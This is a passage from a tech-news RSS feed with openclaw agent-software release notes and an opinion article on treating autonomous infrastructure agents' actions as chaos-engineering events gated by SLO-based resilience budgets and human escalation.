<li>Agents/embedded runner: classify HTML auth provider responses as <code>auth_html</code> and return a re-authentication hint instead of the CDN-blocked copy that <code>upstream_html</code> returns. Cloudflare Access login pages, nginx basic-auth challenges, and gateway login walls all produce HTML auth bodies that were previously misdiagnosed as transient CDN blocks. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4413285415" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/79900" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/79900/hovercard" href="https://github.com/openclaw/openclaw/pull/79900">#79900</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</li>
<li>TUI/streaming watchdog: dismiss the <code>This response is taking longer than expected</code> notice as soon as a chat event for the same run arrives, so the message no longer sits next to the recovered response when the run was only briefly silent. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4267080618" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67052" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67052/hovercard" href="https://github.com/openclaw/openclaw/issues/67052">#67052</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291861236" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69081" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69081/hovercard" href="https://github.com/openclaw/openclaw/issues/69081">#69081</a> (closed), prior attempt <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291455267" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69026" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69026/hovercard" href="https://github.com/openclaw/openclaw/pull/69026">#69026</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jpruit20/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jpruit20">@jpruit20</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</li>
<li>Agents/Pi: tolerate OpenClaw-owned transcript writes while embedded prompts are released for model I/O, keeping long-running Feishu, Slack, Telegram, and cron turns from failing with false session-takeover errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4475877718" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84059" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84059/hovercard" href="https://github.com/openclaw/openclaw/issues/84059">#84059</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4479751609" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84250" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84250/hovercard" href="https://github.com/openclaw/openclaw/pull/84250">#84250</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianxiaochannel-oss88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianxiaochannel-oss88">@tianxiaochannel-oss88</a>.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI agents are quietly generating chaos engineering failures enterprises don’t track yet]]></title>
<description><![CDATA[There is a category of production incident that engineering teams are not tracking yet — because it doesn't fit any existing postmortem template. The agent initiated an action. The action was technically correct given the agent's context. The context was incomplete. The infrastructure cascaded. A...]]></description>
<link>https://tsecurity.de/de/3544042/it-nachrichten/ai-agents-are-quietly-generating-chaos-engineering-failures-enterprises-dont-track-yet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3544042/it-nachrichten/ai-agents-are-quietly-generating-chaos-engineering-failures-enterprises-dont-track-yet/</guid>
<pubDate>Sun, 24 May 2026 20:02:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>There is a category of production incident that engineering teams are not tracking yet — because it doesn't fit any existing postmortem template. </p><p>The agent initiated an action. The action was technically correct given the agent's context. The context was incomplete. The infrastructure cascaded. And, by the time the incident review happened, three teams were arguing about whether it was an agent failure or an infrastructure failure,  because the frameworks for thinking about these two things have never been connected. </p><p>The scale of this exposure is no longer theoretical. <a href="https://www.pwc.com/us/en/tech-effect/ai-analytics/ai-agent-survey.html">Seventy-nine percent</a> of organizations now have some form of AI agent in production, with 96% planning expansion. Gartner predicts 33% of enterprise software will include agentic AI by 2028, but separately warns that <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027">40% of those projects</a> will be canceled due to poor risk controls. </p><p>What neither statistic captures is the failure mode happening between those two numbers: Agents that are running, that are not canceled, and that are quietly generating infrastructure events no one has categorized as risk.</p><p>I've spent six years building infrastructure automation systems at enterprise scale, first at Cisco (leading AI-driven lifecycle platforms deployed across 20-plus global enterprise customers), then at Splunk (designing AI-assisted root cause analysis and observability workflows across thousands of enterprise environments). </p><p>During that time I also filed a patent on intent-based chaos engineering methodology. And across all of it, I kept watching organizations make the same structural mistake: Treating autonomous agents and chaos engineering as separate disciplines. They are not. They are the same discipline, and the gap between them is quietly generating the next wave of major production incidents.</p><h2>The judgment call that agents skip</h2><p>To understand why this matters, you need to understand what's actually broken in how enterprises govern chaos today,  before you add agents to the picture.</p><p>Most mature engineering organizations have invested in chaos engineering programs. Game days, blast radius controls, SLO-gated experiments. When a human engineer initiates a chaos experiment, the sequence has a critical property: A human is making a judgment call about whether the system has capacity to absorb the perturbation right now. They check dashboards. They look at the error budget burn rate. They assess whether dependencies are stable. It's imperfect and often intuitive, but there is at least a person in the loop asking the right question before anything runs.</p><p>When you introduce an autonomous remediation agent,  one that can restart services, reroute traffic, scale resources, or modify configurations in response to detected anomalies,  that question disappears. The agent sees an anomaly. The agent takes an action. The action is a chaos event. No SLO burn rate check. No blast radius calculation. No human judgment about whether right now is the right moment to introduce additional stress into a system that may already be under pressure from three other directions.</p><p>Here is the specific failure mode I have watched play out. A remediation agent detects elevated latency on a microservice and responds by restarting the service cluster; a reasonable action given its training data and its narrow view of the incident. What the agent doesn't know: Three other services are in the middle of handling peak traffic. The shared connection pool is already at 87% utilization. A dependent database is running a background index rebuild. The restart triggers a thundering herd against the recovering service. </p><p>What started as a latency spike the agent was designed to fix becomes a cascade the agent was never designed to model. The blast radius of that agent action was not the service restart. It was everything downstream of the restart, in a system state the agent had no complete picture of.</p><p>Nobody's chaos engineering program had tested for that specific combination. Nobody's blast radius calculation had included the agent as an actor. Because we don't think of agents as chaos injectors. We should. </p><p>According to the <a href="https://incidentdatabase.ai/">AI Incidents Database</a>, reported AI-related incidents rose 21% from 2024 to 2025. That count almost certainly understates the actual exposure, because most organizations have no incident classification that captures an autonomous agent action as the initiating cause of a cascade. The incident gets logged as a service restart, a connection pool saturation, or a latency event. The agent is invisible in the postmortem.</p><h2>Absorb capacity is a resource; most systems don't treat it that way</h2><p>The underlying problem is that enterprise systems have no shared language for absorb capacity — the real-time estimate of how much additional stress a system can take before it breaches its SLO commitments. Chaos engineering programs manage it implicitly, through human judgment and static thresholds that fire after a limit has already been crossed. Agents don't manage it at all.</p><p>Through structured primary research with site reliability engineering (SRE) and platform engineering practitioners across organizations including Intuit and GPTZero, I've been developing a resilience budget model. The core idea is to treat absorb capacity as a continuously recomputed, consumable resource rather than a static threshold you try not to breach.</p><p>A resilience budget draws on four live signal classes. </p><ul><li><p>SLO burn rate is the primary input, because it directly encodes the distance between current system behavior and the commitment that actually matters. If a system is burning its monthly error budget at five times the expected rate, the resilience budget is near zero regardless of what CPU utilization looks like. </p></li><li><p>P99 latency trend matters more than absolute latency, because a service trending upward over forty minutes tells you something different than a service that has been stable at the same absolute value. </p></li><li><p>Dependency saturation state is the most commonly missed signal; a chaos experiment or an agent action that assumes a shared connection pool is freely available when it's sitting at 87% will produce failure modes that nobody designed for. </p></li><li><p>Application behavioral signals,  session completion rates, API call pattern shifts, conversion degradation, and surface system stress earlier than infrastructure metrics do, because users feel the degradation before Prometheus reports it.</p></li></ul><p>What makes this a budget rather than a threshold is that it is consumable. Every chaos experiment draws from the available capacity. Every agent action draws from it. In multi-team organizations where multiple experiments and multiple agents may be acting simultaneously, the budget is shared. </p><p>Without a shared ledger of consumption, two teams running experiments against overlapping dependencies produce a combined blast radius that neither team planned. Add autonomous agents acting completely outside the ledger, and the accounting collapses.</p><h2>Where language models help,  and exactly where they fail</h2><p>Several engineering organizations are now running experiments using large language models (LLMs) to generate chaos hypotheses from dependency graphs and incident postmortem corpora. The results are directionally useful. Language models surface plausible failure modes that experienced SREs recognize as worth testing, and they generate hypotheses faster than manual processes, particularly when working from rich postmortem history.</p><p>The limit is dependency graph staleness, and it is a hard limit. A hypothesis generated from a graph that doesn't reflect last month's service extraction, or a new shared library dependency added two sprints ago, will propose an experiment with incorrect blast radius assumptions. The problem is not that the model makes a mistake, it's that the model doesn't know it's making one. It will be confidently incorrect about a system boundary that no longer exists, and in chaos engineering, confident incorrectness in production means an unplanned outage. </p><p>Stanford's <a href="https://stairlab.stanford.edu/">Trustworthy AI Research Lab</a> found that model-level guardrails alone are insufficient: Fine-tuning attacks bypassed leading models in the majority of tested cases. The implication for chaos hypothesis generation is direct, a model that cannot reliably hold its own safety boundaries cannot be trusted to accurately model the blast radius of an action it has never seen in a dependency graph it has not verified.</p><p>When hypothesis generation draws instead from postmortem corpora, the staleness problem shrinks considerably. Postmortems describe failures that actually occurred in the system at a specific moment in time. The signal is inherently validated by production reality. This is the tractable near-term AI application in this space, and it is genuinely useful for organizations with mature incident documentation practices.</p><p>What AI cannot do,  and should not be asked to do, is make the execution decision when signals are ambiguous. That judgment requires awareness of things that live entirely outside any monitoring system: Pending deployments that changed the dependency landscape an hour ago, on-call staffing levels on a holiday weekend, a customer commitment that makes any additional risk unacceptable until Monday. </p><p>A model without access to that context should not be making that call. This is not a temporary limitation pending a more capable model. It is a structural constraint of what machine observability can represent, and building an agent architecture that ignores it is building one that will eventually make a consequential decision with incomplete information — and no human in the loop to catch it.</p><h2>What this means for how enterprises govern agents in production</h2><p>The governance implication is straightforward to describe and harder to implement than it sounds. Every autonomous agent action that touches infrastructure needs to register against the same live signal layer that governs chaos experiments. The same SLO burn rates, latency trends, dependency saturation states that a human engineer would check before initiating an experiment should gate what an agent is permitted to do and when. If the resilience budget is below a defined floor, the agent waits or escalates. It does not act.</p><p>Agent actions also need to be modeled as experiments, not just logged as events. When an agent restarts a service, the question isn't only whether the restart completed successfully. It's whether the blast radius of that action was proportionate to the available absorb capacity, and what cascading effects it produced across dependencies. That is chaos engineering data. It belongs in the budget model, feeding the next decision the agent or the team needs to make.</p><p>And when signals are genuinely ambiguous, when the budget score is unclear, when a recent deployment has changed the topology in ways the agent's context window doesn't capture, when dependency states are in flux,  the execution decision needs to go to a human. Not as a permanent limitation on agent autonomy, but as a hard engineering requirement for the current state of the technology. </p><p>A circuit breaker that hands ambiguous cases to a human is not a weakness in the agent architecture. It is the thing that makes the architecture trustworthy enough to actually run in production. Intent-based verification formalizes exactly this: Defining what correct agent behavior looks like before deployment, then continuously probing whether those boundaries hold under live system conditions.</p><p>The organizations that operate autonomous agents reliably at scale are not the ones with the most sophisticated models. They are the ones that understood, before something went badly wrong, that every agent action is a chaos event and built their governance layer accordingly. </p><p>The practical first step is unglamorous: Audit every autonomous agent currently touching infrastructure, map its action surface against your live SLO burn rate signals, and define explicit floor conditions below which the agent is required to wait or escalate. That audit will surface agents acting entirely outside your resilience accounting. </p><p>Most organizations running agents at scale today have several. Find them before production does.</p><p><i>Sayali Patil has spent 6-plus years at Cisco Systems and Splunk building the reliability and automation systems that keep enterprise AI infrastructure running at scale. </i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How AI is forcing McKinsey and its peers to rethink pricing]]></title>
<description><![CDATA[Clients are questioning the value of advice while getting more used to fees based on successful task completion]]></description>
<link>https://tsecurity.de/de/3542988/ai-nachrichten/how-ai-is-forcing-mckinsey-and-its-peers-to-rethink-pricing/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3542988/ai-nachrichten/how-ai-is-forcing-mckinsey-and-its-peers-to-rethink-pricing/</guid>
<pubDate>Sun, 24 May 2026 06:46:48 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Clients are questioning the value of advice while getting more used to fees based on successful task completion]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.5.22]]></title>
<description><![CDATA[2026.5.22
Changes

Gateway/perf: reuse process-stable channel catalog reads, avoid repeated bundled-channel boundary checks, and rotate gateway watch CPU profiles so benchmark runs do not accumulate unbounded artifacts.
Gateway/perf: reuse immutable plugin metadata snapshots across startup, confi...]]></description>
<link>https://tsecurity.de/de/3542782/downloads/openclaw-2026522/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3542782/downloads/openclaw-2026522/</guid>
<pubDate>Sun, 24 May 2026 02:46:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.22</h2>
<h3>Changes</h3>
<ul>
<li>Gateway/perf: reuse process-stable channel catalog reads, avoid repeated bundled-channel boundary checks, and rotate gateway watch CPU profiles so benchmark runs do not accumulate unbounded artifacts.</li>
<li>Gateway/perf: reuse immutable plugin metadata snapshots across startup, config, model, channel, setup, and secret metadata readers so hot paths avoid repeated plugin file stats and manifest registry reloads.</li>
<li>Gateway/perf: lazy-load startup-idle plugin work, core gateway method handlers, and the embedded ACPX runtime so Gateway health and ready signals no longer wait on unused handler trees or ACPX probes.</li>
<li>Gateway/perf: cache plugin SDK public-surface alias maps and skip irrelevant macOS Linuxbrew PATH probes so Gateway startup avoids repeated filesystem walks and slow missing-directory stats.</li>
<li>Meeting Notes: add a source-only external meeting-notes plugin and SDK source-provider contract outside the core npm package, with auto-start capture config, manual transcript imports, read-only <code>openclaw meeting-notes</code> CLI access, and Discord voice as the first live source.</li>
<li>Docs/channels/config: add Signal <code>configPath</code>, Telegram wildcard topic defaults, local-time backup archive names, Termux home fallback, include-path validation, secret-scanner-safe placeholder guidance, Gemini CLI/Antigravity media guidance, and macOS VM auto-login guidance. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NorseGaud/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NorseGaud">@NorseGaud</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yudistiraashadi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yudistiraashadi">@yudistiraashadi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huangqian8/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huangqian8">@huangqian8</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VibhorGautam/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VibhorGautam">@VibhorGautam</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maweibin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maweibin">@maweibin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianxingleo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianxingleo">@tianxingleo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IgnacioPro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IgnacioPro">@IgnacioPro</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xzcxzcyy-claw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xzcxzcyy-claw">@xzcxzcyy-claw</a>.</li>
<li>Docs: clarify model-usage portability, Codex migration prerequisites, status bootstrap wording, thread-bound subagent limits, hook ownership, and config-preserving safety guidance. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aniruddhaadak80/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aniruddhaadak80">@aniruddhaadak80</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leno23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leno23">@leno23</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomDjerry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomDjerry">@TomDjerry</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/matthewxmurphy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/matthewxmurphy">@matthewxmurphy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stablegenius49/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stablegenius49">@stablegenius49</a>.</li>
<li>Docs: clarify README onboarding and Gateway startup paths, WhatsApp QR/408 recovery, cron output language prompts, skill advanced features, gateway upstream 403 troubleshooting, and plugin fallback override guidance. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deepujain/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deepujain">@deepujain</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zacxxx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zacxxx">@Zacxxx</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jah-yee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jah-yee">@Jah-yee</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neyric/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neyric">@neyric</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/usimic/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/usimic">@usimic</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Renu-Cybe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Renu-Cybe">@Renu-Cybe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BigUncle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BigUncle">@BigUncle</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SeashoreShi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SeashoreShi">@SeashoreShi</a>.</li>
<li>Docs: clarify context-pruning ratio bounds, local dashboard recovery, CLI env markers, remote onboarding token behavior, and Peekaboo Bridge permissions for subprocess agents. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ayesha-aziz123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ayesha-aziz123">@ayesha-aziz123</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dishraters/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dishraters">@dishraters</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hougangdev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hougangdev">@hougangdev</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brandonlipman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brandonlipman">@brandonlipman</a>.</li>
<li>Docs: clarify browser CDP diagnostics, Plugin SDK allowlist imports, status-reaction timing defaults, queue steering behavior, limited-tool troubleshooting, cron HEARTBEAT handling, Telegram multi-agent groups, Bitwarden SecretRef setup, and EasyRunner deployments. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Quratulain-bilal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Quratulain-bilal">@Quratulain-bilal</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mbelinky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mbelinky">@mbelinky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mickey-/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mickey-">@Mickey-</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vancece/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vancece">@vancece</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xenouzik/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xenouzik">@xenouzik</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/posigit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/posigit">@posigit</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/surlymochan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/surlymochan">@surlymochan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/janaka/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/janaka">@janaka</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/choiking/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/choiking">@choiking</a>.</li>
<li>Crabbox/Testbox: run clean sparse-checkout Testbox syncs from a temporary full checkout and route remote changed gates through Corepack pnpm.</li>
<li>Docs: clarify IPv4-only Gateway BYOH binding, trusted-proxy scope clearing, Android pairing approval, macOS Accessibility grants, Zalo profile env vars, password-store SecretRef setup, and Chinese memory navigation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/itskai-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/itskai-dev">@itskai-dev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gwh7078/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gwh7078">@gwh7078</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/longstoryscott/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/longstoryscott">@longstoryscott</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MoeJaberr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MoeJaberr">@MoeJaberr</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yuaiccc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yuaiccc">@yuaiccc</a>.</li>
<li>Docs: consolidate GLM under Z.AI, add the Upstash Box install guide and Gateway exposure runbook, clarify MEDIA directives, Copilot and Voyage setup, config path quoting, real behavior proof, and memory-file write guidance. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BobDu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BobDu">@BobDu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alitariksahin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alitariksahin">@alitariksahin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jefsky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jefsky">@Jefsky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/musaabhasan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/musaabhasan">@musaabhasan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OmerZeyveli/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OmerZeyveli">@OmerZeyveli</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leno23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leno23">@leno23</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WuKongAI-CMU/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WuKongAI-CMU">@WuKongAI-CMU</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/majin1102/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/majin1102">@majin1102</a>.</li>
<li>Docs: clarify media provider credentials, Codex/OpenClaw code-mode boundaries, Slack and Telegram ack reactions, Feishu dynamic agents, secrets plaintext boundaries, memory guidance, and Chinese glossary terms. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nielskaspers/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nielskaspers">@nielskaspers</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cosmopolitan033/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cosmopolitan033">@cosmopolitan033</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/drclaw-iq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/drclaw-iq">@drclaw-iq</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexgduarte/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexgduarte">@alexgduarte</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zccyman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zccyman">@zccyman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chengoak/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chengoak">@chengoak</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cassthebandit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cassthebandit">@cassthebandit</a>.</li>
<li>Packaging: exclude documentation images and assets from the npm tarball, reducing published package size without affecting runtime docs search or CLI behavior. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</li>
<li>Media understanding: stop auto-probing Gemini CLI and use Antigravity CLI only as a lower-priority image/video fallback after configured provider APIs.</li>
<li>Agents/subagents: limit default sub-agent bootstrap context to <code>AGENTS.md</code> and <code>TOOLS.md</code>, keeping persona, identity, user, memory, heartbeat, and setup files out of delegated workers by default. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501180539" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85283" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85283/hovercard" href="https://github.com/openclaw/openclaw/pull/85283">#85283</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Maintainer skills: exclude plugin SDK/API boundary work from <code>openclaw-landable-bug-sweep</code> so bugbash sweeps stay focused on small paper-cut fixes.</li>
<li>QA-Lab/diagnostics: extend the OpenTelemetry smoke harness to prove trace, metric, and log export, and add first-class Prometheus and observability smoke aliases.</li>
<li>Plugin SDK: add a generic channel-message poll sender so channel plugins can expose poll delivery without depending on channel-specific SDK facades.</li>
